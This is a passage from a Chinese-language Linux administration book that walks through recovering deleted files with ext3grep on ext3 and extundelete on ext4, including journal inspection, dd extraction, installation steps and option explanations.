可以说显示的内容很多，假如要恢复的文件是jj，那么可以进行如下操作。

[root@nas ～]# ext3grep /dev/sdb1 --ls --inode 2 |grep jj

6　7 r　49153　D 1273827555 Fri May 14 16:59:15 2010　rrw-------　.jj.swp

7　end r　49154　D 1273827570 Fri May 14 16:59:30 2010　rrw-r--r--　jj

下面通过ext3grep显示节点49154的相关信息。

[root@nas ～]#ext3grep /dev/sdb1 --ls --inode 49154

Running ext3grep version 0.10.2

Number of groups: 597

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

Inode is Unallocated

很显然，节点49154已被清除，文件没有被分配节点。

同理如果看文件pp（这个文件没有被删除）。

[root@nas ～]#ext3grep /dev/sdb1 --print --inode 11

Running ext3grep version 0.10.2

Number of groups: 597

Loading group metadata... done

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 109; min / max sequence numbers: 5 / 39

Hex dump of inode 11:

0000 | a4 81 00 00 07 00 00 00 72 e5 f4 4b 6c e5 f4 4b | ........r..Kl..K

0010 | 6c e5 f4 4b 00 00 00 00 00 00 01 00 08 00 00 00 | l..K............

0020 | 00 00 00 00 00 00 00 00 2e 8c 00 00 00 00 00 00 | ................

0030 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0040 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0050 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0060 | 00 00 00 00 b5 d8 dd 03 00 00 00 00 00 00 00 00 | ................

0070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

Inode is Allocated

Group: 0

Generation Id: 64870581

uid / gid: 0 / 0

mode: rrw-r--r--

size: 7

num of links: 1

sectors: 8 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1274340722 = Thu May 20 15:32:02 2010

File Modified:　1274340716 = Thu May 20 15:31:56 2010

Inode Modified:　1274340716 = Thu May 20 15:31:56 2010

Deletion time:　0

Direct Blocks: 35886

这里的“Inode is Allocated”很有说明性。

下面接着恢复这个jj文件，在此我们试图去日志中查找一个老版本的拷贝。首先查找包括本inode的系统块。

[root@nas ～]#ext3grep /dev/sdb1 --inode-to-block 49154 | grep resides

Inode 49154 resides in block 99331 at offset 0x80.

然后查找所有与block 99331 相关的日志块。

[root@nas ～]#ext3grep /dev/sdb1 --journal --block 99331

Running ext3grep version 0.10.2

No --ls used; implying --print.

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

Journal descriptors referencing block 99331:

6 1699

7 1706

8 1718

我们可以看出，ext3 的日志描述“block 99331”被记载（或者叫缓存。然而既然是日志，叫做记录更好，可是从汉语的角度上讲记录又不是这个意思，所有就叫它记载了）在如下块中。

6 1699

7 1706

8 1718

换句话说就是序列号为6 的block 是一个block 99331 的拷贝，它存储在节点1699 上，序列号为7的block 也是一个block 99331的副本，它存储在节点1706上，等等。

按照规定，最近的序列号在最底部，这应该是最近写入磁盘的块号，因此block 1718 的内容应该是和当前block 99331 一样的。为了查找一个最后的没有删除（叫做擦除更合适）的拷贝，一种可选的方式是从底部开始向上查找。

如果想打印这个 block，ext3grep能够从节点表识别出该 block，并打印（显示）出所有节点的内容。然而现在只想看到的是节点49154，因此需要使用命令grep。

[root@nas ～]#ext3grep /dev/sdb1 --print --block 1718 | grep -A15 'Inode 49154'

--------------Inode 49154-----------------------

Generation Id: 4288869617

uid / gid: 0 / 0

mode: rrw-r--r--

size: 0

num of links: 0

sectors: 0 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1273827555 = Fri May 14 16:59:15 2010

File Modified:　1273827570 = Fri May 14 16:59:30 2010

Inode Modified:　1273827570 = Fri May 14 16:59:30 2010

Deletion time:　1273827570 = Fri May 14 16:59:30 2010

Direct Blocks: 0

确实和我们在99331块中看到的一样。下一步我们可以进一步查看其他的序列号，直到找到一个与我们删除时间相差0的一个序列号所代表的块，正如我们现在找到的1718 block。

[root@nas ～]# ext3grep /dev/sdb1 --print --block 1699 | grep -A15 'Inode 49154'

--------------Inode 49154-----------------------

Generation Id: 4288869617

uid / gid: 0 / 0

mode: rrw-r--r--

size: 7

num of links: 1

sectors: 8 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1273827555 = Fri May 14 16:59:15 2010

File Modified: 1273827555 = Fri May 14 16:59:15 2010

Inode Modified: 1273827555 = Fri May 14 16:59:15 2010

Deletion time: 0

Direct Blocks: 110600

上面的结果是自动产生的，要比使用命令行选项--show-journal-inodes快得多。

这个选项用于查找属于一个节点的block，然后再在ext3日志中查找该block的所有拷贝，随后仅打印出被请求的inode，而消除了重复性。

[root@nas ～]#ext3grep /dev/sdb1 --show-journal-inodes 49154

Running ext3grep version 0.10.2

Number of groups: 597

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

Copies of inode 49154 found in the journal:

--------------Inode 49154 (transaction 8)------------------

Generation Id: 4288869617

uid / gid: 0 / 0

mode: rrw-r--r--

size: 0

num of links: 0

sectors: 0 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1273827555 = Fri May 14 16:59:15 2010

File Modified:　1273827570 = Fri May 14 16:59:30 2010

Inode Modified:　1273827570 = Fri May 14 16:59:30 2010

Deletion time:　1273827570 = Fri May 14 16:59:30 2010

Direct Blocks: 0

--------------Inode 49154 (transaction 7)------------------

Generation Id: 4288869617

uid / gid: 0 / 0

mode: rrw-r--r--

size: 7

num of links: 1

sectors: 8 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1273827555 = Fri May 14 16:59:15 2010

File Modified:　1273827555 = Fri May 14 16:59:15 2010

Inode Modified:　1273827555 = Fri May 14 16:59:15 2010

Deletion time:　0

Direct Blocks: 110600

文件比较小，只有一个block，通过dd命令拷贝这个block。

[root@nas ～]# dd if=/dev/sdb1 bs=4096 count=1 skip=110600 of=block.110600

1+0 records in

1+0 records out

4096 bytes (4.1 kB) copied, 0.023085 seconds, 177 kB/s

然后再通过编辑文件，将尾部的“0”删除，或者是拷贝一下前7个字节（这个大小是由上面给出来的“size: 7”）。

[root@nas ～]# dd if=block.110600 bs=1 count=7 of=R_jj

7+0 records in

7+0 records out

7 bytes (7 B) copied, 0.0111848 seconds, 0.6 kB/s

然后查看该恢复的文件。

[root@nas ～]# more R_jj

123456

没错！正是我们要找的文件。




15.2.3 恢复多个文件


如果是恢复大文件，这种情况下，文件存在于许多 block 中，更不用说手动恢复成千上万个文件了，因此所有的恢复要求自动执行。然而，如果有50 000 文件，尤其是被恢复的文件远远多于你实际想要的文件时，在所有的垃圾文件中很难查找到结果，所以在实际上恢复操作一定要尽可能准确地去恢复文件。

下面做一个全新的实验，首先将“/dev/sdb1”分区格式化。

[root@nas /]# mkfs.ext3 /dev/sdb1

mke2fs 1.39 (29-May-2006)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

9781248 inodes, 19531015 blocks

976550 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=0

597 block groups

32768 blocks per group, 32768 fragments per group

16384 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424

Writing inode tables: done

Creating journal (32768 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 36 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

然后挂接分区创建一个文件，再将该文件删除，最后在把分区卸掉。

[root@nas ～]# mount /dev/sdb1 /sdb

[root@nas ～]# cd /sdb

[root@nas sdb]# ls

lost+found

[root@nas sdb]# vi jj

123456

"jj" [New] 1L, 7C written

[root@nas sdb]#

[root@nas sdb]# ls

lost+found jj

[root@nas sdb]#rm -f jj

[root@nas sdb]# ls

lost+found

[root@nas /]# umount /sdb

[root@nas /]#

使用ext3grep恢复单个文件，只要给出文件的路径就可以了。

[root@nas bin]# ./ext3grep /dev/sdb1 --restore-file jj

Running ext3grep version 0.10.2

WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set. This either means that your partition is still mounted, and/or the file system is in an unclean state.

Number of groups: 597

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1294461894 =Sat Jan 8 12:44:54 2011

Number of descriptors in journal: 37; min / max sequence numbers: 2 / 7

Writing output to directory RESTORED_FILES/

Finding all blocks that might be directories.

D: block containing directory start, d: block containing more directory entries.

Each plus represents a directory start that references the same inode as a directory start that we found previously.

Searching group 0: DD++++

Searching group 1: WARNING: zero inode (name: *contains non-ASCII characters*"\004$b,\222D\221D"; block: 36067; offset 0x800)

d

Searching group 2: D

Searching group 3: WARNING: zero inode (name: "M"; block: 102245; offset 0xf74)

…… //省略部分

Searching group 215: DDDDDDDDDDddDDDDDDDDDDDDDDDDDDDDDDDDDDDD

…… //省略部分

Searching group 539: D

…… //省略部分

Writing analysis so far to 'sdb1.ext3grep.stage2'. Delete that file if you want to do this stage again.

Restoring jj

注意：

① “WARNING”，这种情况出现在系统处于“脏”的状态或者是被恢复磁盘处于挂接状态。特别要注意，被恢复文件所在的磁盘一定要处于未被挂接的状态；

② “Writing output to directory RESTORED_FILES/”，恢复完成后会在用户当前所在的目录中创建一个名RESTORED_FILES的目录，恢复的文件就放置在该目录相应的目录中；同时也要注意，如果目录RESTORED_FILES/jj已存在，那么它不会被覆盖；

③ “D”和“d”，“D”表了包含目录的开始；而“d”表示了包含多个目录；

④ “sdb1.ext3grep.stage2”包含了分析报告；

⑤ “Restoring jj”表示成功恢复了该文件。

按次序，恢复工作会经过两个阶段（stage），阶段 1 和阶段2 ，并且创建两个文件DEVICE.ext3grep.stage1和DEVICE.ext3grep.stage2。

以下是在执行“ext3grep /dev/sdb1 --restore-file jj”命令之前的目录结构，只有ext3grep命令。

[root@nas bin]# pwd

/usr/local/ext3grep/bin

[root@nas bin]# tree

.

'-- ext3grep

0 directories, 1 file

在执行完成“ext3grep /dev/sdb1 --restore-file jj”命令之后的目录结构如下。

[root@nas bin]# tree

.

|-- RESTORED_FILES

| '-- jj

|-- ext3grep

|-- sdb1.ext3grep.stage1

'-- sdb1.ext3grep.stage2

为了证实，你可看一下文件jj的内容。

[root@nas bin]# cat RESTORED_FILES/jj

123456

没问题，绝对恢复了，这正是我们要得到的结果。

在ext3grep的命令行选项中使用--dump-names可以转储所有文件的文件名。

[root@nas ～]# ext3grep /dev/sdb1 --dump-names

Running ext3grep version 0.10.2

Number of groups: 597

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 109; min / max sequence numbers: 5 / 39

Loading sdb1.ext3grep.stage2... done

.jj.swp

jj

lost+found

pp

如果对选项--dump-names的输出满意，那么就可以用--restore-all选项代替--dump-names来恢复所有文件。--restore-all实际上就是--restore-file和--dump-names的组合。

正如以前提到的，正确使用选项--after 是一个明智的选择，这样使得ext3grep工作更有效，既避免了ext3grep试图恢复更旧的文件，也缩短了用户的等待时间。注意，这时--dump-names的输出是未滤过的，而--restore-file(--restore-all)可以联合使用--after选项。

示例如下。

[root@nas ～]#ext3grep /dev/sdb1 --restore-all --after=1274249319

Running ext3grep version 0.10.2

Only show/process deleted entries if they are deleted on or after Wed May 19 14:08:39 2010.

Number of groups: 597

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 109; min / max sequence numbers: 5 / 39

Loading sdb1.ext3grep.stage2... done

Not undeleting ".jj.swp" because it was deleted before 1274249319 (3214533652)

Not undeleting "jj" because it was deleted before 1274249319 (3214533652)

Restoring lost+found

Restoring pp

可以看到，在这里只有pp文件被恢复，按照--after设定的时间它是最后一个被删除的文件，--after精确到秒级，在设置--after时比要恢复的文件大1即可。

1．阶段1的格式

阶段1的过程被写入DEVICE.ext3grep.stage1文件，这里的DEVICE会被驱动器的名字所替代（例如/dev/sdb1，那么DEVICE就是sdb1）。

示例如下。

[root@nas /]# more sdb1.ext3grep.stage1

# Stage 1 data for /dev/sdb1.

# Inodes and directory start blocks that use it for dir entry '.'.

# INODE : BLOCK [BLOCK ...]　　　//注意这里的格式

2 : 1539 1628 1781 1790 2036 2048 2097 3257 3437

11 : 1540

32769 : 1779 1830 1867 1883 1889 1895 1913 1919 1926 1952 1978 2012 96256

507905 : 3435 1021952

1048577 : 3255 3266 3282 3293 3299 3309 3317 3323 3338 3561 3568 2123776

1048578 : 3337 3344 3352 3357 3370 3378 3383 3396 3409 3414 2111488

3522561 : 7057408

3522616 : 7072649

……

7503873 : 15022080

# Extended directory blocks.

36067

102245

……

7073648

# END

在sdb1.ext3grep.stage1文件中，首先表明了工作对象/dev/sdb1，然后指明了节点和块的格式。在格式这一部分中，第一栏是节点，然后再跟一个空格，空格之后是一个冒号，然后又是一个空格，空格之后是一个使用空格符分隔的block号列表。

2．阶段2的格式

阶段2的过程被写入DEVICE.ext3grep.stage2文件，示例如下。

[root@nas bin]# more sdb1.ext3grep.stage2

# Stage 2 data for /dev/sdb1.

# Inodes path and directory blocks.

# INODE PATH BLOCK [BLOCK ...]

2 '' 1539

11 'lost+found' 1540 7073648

# END

在这个阶段，由函数init_directories()来负责，包含了很多启发式的代码。首先决定哪些块是真正的目录开始块，然后分配每一个扩展目录块到其中的目录，最后将这个结果保存在一个文件（DEVICE.ext3grep.stage2）中，就是这里的 sdb1.ext3grep.stage2。注意文件中每一个条目的格式，万一出了错，你能够通过编辑这个文件（删除无效的或添加正确的块）来修复，然而绝对不要添加或移除注释。如果你对这个文件改变得太多，会使得ext3grep感到“困惑”，从而不能够正常工作。

最后再次强调，正确使用“--after dtime”和“--before dtime”参数特别重要。




第16章 对ext4下的文件恢复


本来第15 章是最后一章，可是就在本书结尾时，有一个网友求救，说是删除了特别重要的文件，问我怎么办。我开玩笑地说，好办，抱头哭去吧！可是网友却非常认真地让我替他恢复一下。我让他找数据恢复公司，他也不去。后来我对他说利用ext3grep恢复，但我没想到的是，他说是用的ext4 文件系统，这可让我也傻眼了。我运维的系统都是Red hat 的系统，直到版本6才使用ext4，是在2010年11月11号发布的。到这里你可能明白我想说什么了，我从未对 ext4 的文件进行过恢复。可他非要让我帮忙，我若再推辞可能就会说我是不想帮他了。可是前提说好了，我不能确定能否恢复。有一个软件叫extundelete可以对ext4的文件系统进行恢复，我去官方网站http://extundelete.sourceforge.net/查看了一下，它的运行环境在Ubuntu下最合适，我所运维的系统中从AS3到AS5都有，可就是没有Ubuntu这种操作系统（说实在的，心里就有点抵触它）。没办法装一个吧，于是找了台空闲的服务器安装了Ubuntu 10.10，用的是server版。安装系统很快，半个小时就装完了，然后又安装了必需的软件，接下来就是以移动硬盘的方式将它的磁盘接入系统，好在他的硬盘是SATA接口，要是弄个SCSI接口或是SAS接口，我还得再找机器。恢复也比较顺利，118个文件全部找到！由于他是急于恢复文件，所有当时我也没好意思记录步骤，下面的篇幅中我就以其他的例子讲解吧。




16.1 了解ext4


关于ext4文件系统，它是ext3的扩展（而ext3又是ext2的扩展），因此它会很好地与文件系统ext3 保持向后兼容。ext4 已经是一种标准文件系统了，它于linux 2.6.19 加入内核，以后逐步完善。而从2.6.28 版本开始，在Linux Kernel发布中开始正式支持这种新的文件系统，现在已经很稳定。在Ubuntu、Fedora 以及刚发行的Red Hat Enterprise Linux 6 中默认都采用了ext4文件系统。ext4对ext3做了重大的改进，因此它提供了更高的性能和更高的可靠性。如果你感兴趣，可以将ext3升级为ext4。说是这么说，你可以试试，不过上线的机器千万可别这么玩，玩不好会后悔的！不要想像当年从ext2升级为ext3的过程那么顺利成功，那是因为ext3仅在ext2的基础上添加了日志系统。说到这里，我还得多说一句，其实ext2在有些情况下非常有用，到现在我所运维的环境中还是它。可是从 ext3 到 ext4 却添加了很多的功能，例如最大 1EB 文件系统和 16TB文件、Extents连续数据块概念、多块分配、延迟分配、无限数量子目录、持久预分配、快速FSCK、日志校验、无日志模式、在线碎片整理、inode增强、默认启用barrier、兼容ext3等等。

作为新一代的文件系统，它首先要兼容前一代的ext3文件系统，因此你可以在原有磁盘的基础上无需格式化而直接转化为ext4文件系统。

从ext3到ext4，最让人激动的功能是它能够提供更多的子目录。在ext3文件系统下只能支持32,000 个子目录，而在新的ext4 下则可以有无穷多个子目录；对于文件和文件系统的大小也有提高（这都是为了适应现代变态的数据量增长），ext3文件系统支持的空间最大也就是16TB，而文件最大是2TB，可是ext4就不同了，对于文件系统它支持1EB，而单个文件可以支持到16TB。

对于日志部分，个人认为ext4是在ext3和ext2中取了个折中，这只是我的理解，没有看过它的结构。由于ext2的读写性能极强，但由于Linux在各个方面使用得越来越广泛，因此不得不考虑安全性，因此在ext3使用了日志功能。正是由于添加了日志功能，所以也就损失了部分性能。事情总是这样安全和性能不能兼顾。因此在ext4中对日志部分就进行了优化，根据实际情况它甚至都允许你关闭日志，从而提升性能。实际上对于有些情况，比如我们的Web服务器，真的没有不要使用ext3、ext4，就用ext2就很好了。实际上，校验的日志时间越长、频率越高，导致的磁盘损坏率也就越高，这一点其实我们都明白。

对于块管理方面，ext4采用了一个多块分配机制，换句话说就是不用每次使用一个块都提出一次请求（其实就是领导嫌烦了，刚开始当官的时候让你大事小时全申请，哪怕是买一张 A4 纸也得申请一次。当官当久了嫌麻烦了，就会说每次领500张吧），而是一次可以分配多个块。另一个特点就是延时分配块，在ext3文件系统中采用的是最快分配机制，其实这不利于磁盘的合理分配。因此在ext4中又提出了这么个机制，让用户或者是进程在缓冲中写完再写到磁盘（我个人觉得这又是一个不合理的优化，它的弊端我说不清楚，只是一种想法，没准在什么ext5中又不修改了）。还有一个特点是 extents，这个不太好翻译，我们就这么叫吧。但是这个概念特别重要。这么讲吧，现在我们去停车场，如果在没有使用这个概念前，在停车场中密密麻麻却又井井有条的排列中，你跟我说这里有1000辆车是你的，我马上会问在哪里；而使用了extents机制后，你会跟我说，从这一辆车开始向后数1000辆都是你的，这样我马上就明白了。

其他的就不想多说了。像什么碎片整理，搞得跟 Windows 似的，如果你感兴趣就去网址https://ext4.wiki.kernel.org/index.php/Ext4_Howto了解吧，它列出了13点。

如果用户在 ext4 文件系统中删除了文件，Linux系统所执行的操作与它在 ext2/ext3 文件系统中所执行的操作几乎一样，它同样不去擦除原文所在的数据块，而只是将元数据删除，这就瞒过了Linux系统的查找。因此通过工具还是能够将其正常恢复的。




16.2 下载并安装extundelete软件


该软件的官方网站http://extundelete.sourceforge.net/，下载最新的版本为0.2.0。




16.2.1 下载extundelete


官方网上说0.2.0是它的最新版，那么就下载它的最新版。extundelete不能够恢复软链接和硬链接，也不能够恢复扩展属性。

toor@nmb:～$ wget http://cdnetworks-kr-2.dl.sourceforge.net/ \

> project/extundelete/extundelete/0.2.0/extundelete-0.2.0.tar.bz2

toor@nmb:～$ tar -jxvf extundelete-0.2.0.tar.bz2

toor@nmb:～$ cd extundelete-0.2.0

toor@nmb:～/extundelete-0.2.0$ ls

acinclude.m4　autogen.sh　config.h.in　configure.ac　install-sh　Makefile.am　missing src aclocal.m4　compile　configure　depcomp　　LICENSE　Makefile.in　README

查看一下README 文件。文中指出，编译安装之前必须安装e2fsprogs 和 e2fslibs 的二进制和开发包，以及一个C++编译器，然后才可以安装extundelete。如果任何一项没有具备，那么在configure或make时都不会成功。

toor@nmb:～/extundelete-0.2.0$ ./configure

Configuring extundelete 0.2.0

Writing generated files to disk

toor @nmb:～/extundelete-0.2.0$ make

make -s all-recursive

Making all in src

extundelete-block.o: In function 'local_block_iterate3':

/root/extundelete-0.2.0/src/block.c:982: undefined reference to 'ext2fs_get_array'

collect2: ld returned 1 exit status

make[2]: *** [extundelete] Error 1

make[1]: *** [all-recursive] Error 1

make: *** [all] Error 2

另外，如果想支持ext4，那么一定要确定e2fsprogs的版本是在1.41及以上。它的版号在运行命令“dumpe2fs”时能看到，示例如下。

toor@nmb:～$ dumpe2fs

dumpe2fs 1.41.12 (17-May-2010)

Usage: dumpe2fs [-bfhixV] [-o superblock=<num>] [-o blocksize=<num>] device




16.2.2 安装相关软件


既然需要这两个工具，那么就查看一下是否在系统中已经安装了这些软件。

toor@nmb:～$ e2fsprogs

-bash: e2fsprogs: command not found

You have new mail in /var/spool/mail/root

toor@nmb:～$ e2fslibs

-bash: e2fslibs: command not found

toor@nmb:～$

很明显系统中没有安装。但是后来我还是在安装光盘上找到了它们。

toor@nmb:～$ tree /mnt/cdrom/pool/main/e/e2fsprogs

RECOVERED_FILES/

|-- e2fslibs_1.41.12-1ubuntu2_i386.deb

|-- e2fsprogs_1.41.12-1ubuntu2_i386.deb

|-- e2fsprogs-udeb_1.41.12-1ubuntu2_i386.udeb

|-- libcomerr2_1.41.12-1ubuntu2_i386.deb

'-- libss2_1.41.12-1ubuntu2_i386.deb

可能是我在安装时没有选择吧。下面的安装就是基于在安装系统时没有安装的情况下进行安装的。

1．安装e2fsprogs和e2fslibs

使用Ubuntu这类系统有一个特点，就是安装软件非常方便。这是它的优点，可是这样下去，系统管理员的水平也将逐渐的down下去。使用apt-get安装e2fsprogs如下。

toor@nmb:～$ sudo apt-get install e2fsprogs

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following package was automatically installed and is no longer required:

comerr-dev

Use 'apt-get autoremove' to remove them.

The following extra packages will be installed:

e2fslibs

Suggested packages:

gpart e2fsck-static

The following NEW packages will be installed:

e2fslibs e2fsprogs

0 upgraded, 2 newly installed, 0 to remove and 71 not upgraded.

Need to get 943kB of archives.

After this operation, 2511kB of additional disk space will be used.

Do you want to continue [Y/n]? y

……　　　　　　//省略

Setting up e2fsprogs (1.41.12-1ubuntu2) ...

上面的黑体字显示，在安装e2fsprogs的同时e2fslibs也被一同安装上了，因此下一步就该安装它的开发包了。

2．安装e2fslibs-dev

toor@nmb:～$ sudo apt-get install e2fslibs-dev

Reading package lists... Done

Building dependency tree

Reading state information... Done

Suggested packages:

doc-base

The following NEW packages will be installed:

e2fslibs-dev

0 upgraded, 1 newly installed, 0 to remove and 71 not upgraded.

Need to get 0B/176kB of archives.

……　　　　　　//省略

Unpacking e2fslibs-dev (from .../e2fslibs-dev_1.41.12-1ubuntu2_i386.deb) ...

Processing triggers for install-info ...

Setting up e2fslibs-dev (1.41.12-1ubuntu2) ...

3．安装C++

toor@nmb:～/extundelete-0.2.0$ sudo apt-get install build-essential

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:

dpkg-dev fakeroot g++ g++-4.4 libalgorithm-diff-perl libalgorithm-merge-perl libdpkg-perl libstdc++6-4.4-dev patch

Suggested packages:

debian-keyring g++-multilib g++-4.4-multilib gcc-4.4-doc libstdc++6-4.4-dbg libstdc++6-4.4-doc diffutils-doc

The following NEW packages will be installed:

build-essential　dpkg-dev　fakeroot　g++　g++-4.4　libalgorithm-diff-perl libalgorithm-merge-perl libdpkg-perl libstdc++6-4.4-dev

……　　　　　　//省略

Setting up build-essential (11.5) ...

4．安装extundelete

toor@nmb:～$ tar -jxf extundelete-0.2.0.tar.bz2

toor@nmb:～$cd extundelete-0.2.0

toor@nmb:～/extundelete-0.2.0$ ./configure

Configuring extundelete 0.2.0

Writing generated files to disk

toor@nmb:～/extundelete-0.2.0$ make

make -s all-recursive

Making all in src

toor@nmb:～/extundelete-0.2.0$ sudo make install

Making install in src

/usr/bin/install -c 'extundelete' '/usr/local/bin/extundelete'

安装后就一个可执行的extundelete文件，又是一个连man文档都没有的软件。好在官方网站还是提供了一些内容可供了解。




16.3 了解extundelete


官方文档说，extundelete可以恢复用户在ext3 或 ext4 文件系统下误删除的文件，extundelete使用了存储在分区的journal日志信息来试图恢复一个被从该分区删除的文件。但是它也说了，不保证对任何文件都能够恢复（换句话说，还得靠运气）。有一次，我从本磁盘的一个分区拷贝到另一个分区，然后将拷贝删除，可是在恢复时却没有找到。因此做好备份还是很关键的！

要了解它的使用还得从命令的帮助开始。

toor@nmb:～$ extundelete --help

Usage: extundelete [options] [--] device-file

……

命令的使用格式

extundelete [options]　　[- -]　　　device-file

↑选项　↑动作　　↑分区

如同ext3grep，但它的选择有如下两部分。

选项　　对象

↑要进行的操作 ↑要操作的对象

① device-file

指定分区名字，就是要操作的对象，更确切地说就是你要恢复删除文件的分区，例如/dev/sda3。

② 选项（Option）

--version, -[vV]　显示 extundelete的版本号，并成功退出；

示例如下。

toor@nmb:～$ extundelete -V

extundelete version 0.2.0

libext2fs version 1.41.12

Processor is little endian.

--help　　显示帮助信息并退出；

--superblock　　显示 superblock的内容；

示例如下。

toor@nmb:～$ sudo extundelete --superblock /dev/sda3

WARNING: Extended attributes are not restored.

Inodes count: 1218224

Blocks count: 4869636

Reserved blocks count: 243481

Free blocks count: 4749150

Free inodes count: 1218213

First Data Block: 0

Block size: 4096

Fragment size: 4096

# Blocks per group: 32768

# Fragments per group: 32768

# Inodes per group: 8176

Mount time: 1294653589

Write time: 1294653854

Mount count: 1

Maximal mount count: 21

Magic signature: 61267

File system state: 1

Behaviour when detecting errors: 1

minor revision level: 0

time of last check: 1294651159

max. time between checks: 15552000

OS: 0

Revision level: 1

Default uid for reserved blocks: 0

Default gid for reserved blocks: 0

First non-reserved inode: 11

size of inode structure: 256

block group # of this superblock: 0

compatible feature set: 60

incompatible feature set: 578

readonly-compatible feature set: 123

128-bit uuid for volume: 77e189359e514290bf1f8ffff2e478e4

For compression: 0

Nr to preallocate for dirs: 0

Per group table for online growth: 1022

uuid of journal superblock: 00000000000000000000000000000000

inode number of journal file: 8

device number of journal file: 0

start of list of inodes to delete: 0

HTREE hash seed: 7270407a29416509df875d994557c785

Default hash version to use: 1

Default type of journal backup: 1

First metablock group: 0

When the filesystem was created: 1294651159

Compatible feature set: HAS_JOURNAL EXT_ATTR RESIZE_INODE DIR_INDEX

Incompatible feature set: FILETYPE

Read only compatible feature set: SPARSE_SUPER LARGE_FILE

注意每一行数据，在这里就不多说了。

--journal　　显示 journal的内容；

示例如下。

toor@nmb:～$ sudo extundelete --journal /dev/sda3

No action specified; implying --superblock.

WARNING: Extended attributes are not restored.

Journal Super Block:

Signature: 0xc03b3998

Block type: Superblock version 2

Sequence Number: 0

Journal block size: 4096

Number of journal blocks: 32768

Journal block where the journal actually starts: 1

Sequence number of first transaction: 8

Journal block of first transaction: 0

Error number: 0

Compatible Features: 0

Incompatible features: 0

Read only compatible features: 0

Journal UUID: 0x77e189359e514290bf1f8fffe478e4f2

Number of file systems using journal: 1

Location of superblock copy: 0

Max journal blocks per transaction: 0

Max file system blocks per transaction: 0

IDs of all file systems using the journal:

1. 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

--afterdtime　　仅处理指定时间以后的删除文件；

--beforedtime　仅处理指定时间以前的删除文件；

对于这里的“dtime”有一点需要说明，那就是它的格式。这里的“dtime”不是一个符合人们读取的格式，而是一个符合计算机读取的格式，如果我们指定一个格式为“Jan 1 9:02 2011”的时间，那么你读得懂，而extundelete读不懂。怎么办呢，可以通过date命令来转化，示例如下。

toor@nmb:～$ date -d "Jan 1 9:02 2011" +%s

1293843720

toor@nmb:～$ date -d@1293843720

Sat Jan 1 09:02:00 CST 2011

示例如下。

toor@nmb:～$ sudo extundelete --after "1293843720" --restore-all /dev/sda3

Only show and process deleted entries if they are deleted on or after 1293843720 and before 2147483647.

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 40 descriptors loaded.

Searching for recoverable inodes in directory / ...

2 recoverable inodes found.

Looking through the directory structure for deleted files ...

Restored inode 12 to file RECOVERED_FILES/.jkm.sh.swp

Restored inode 13 to file RECOVERED_FILES/jkm.sh

0 recoverable inodes still lost.

检查恢复情况如下。

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

'-- jkm.sh

0 directories, 1 file

③ 动作（Action）

--inode ino　　显示指定节点的信息；

示例如下。

toor@nmb:～$ sudo extundelete --inode 2 /dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Contents of inode 2:

0000 | ed 41 00 00 00 10 00 00 ff d8 2a 4d fe d8 2a 4d | .A........*M..*M

0010 | fe d8 2a 4d 00 00 00 00 00 00 03 00 08 00 00 00 | ..*M............

0020 | 00 00 00 00 08 00 00 00 11 24 00 00 00 00 00 00 | .........$......

0030 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0040 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0050 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0060 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0080 | 00 00 00 00 09 10 00 00 00 00 00 00 00 00 00 00 | ................

0090 | 20 cf 2a 4d 20 cf 2a 4d 20 cf 2a 4d 00 00 00 00 | .*M .*M .*M....

00a0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

00b0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

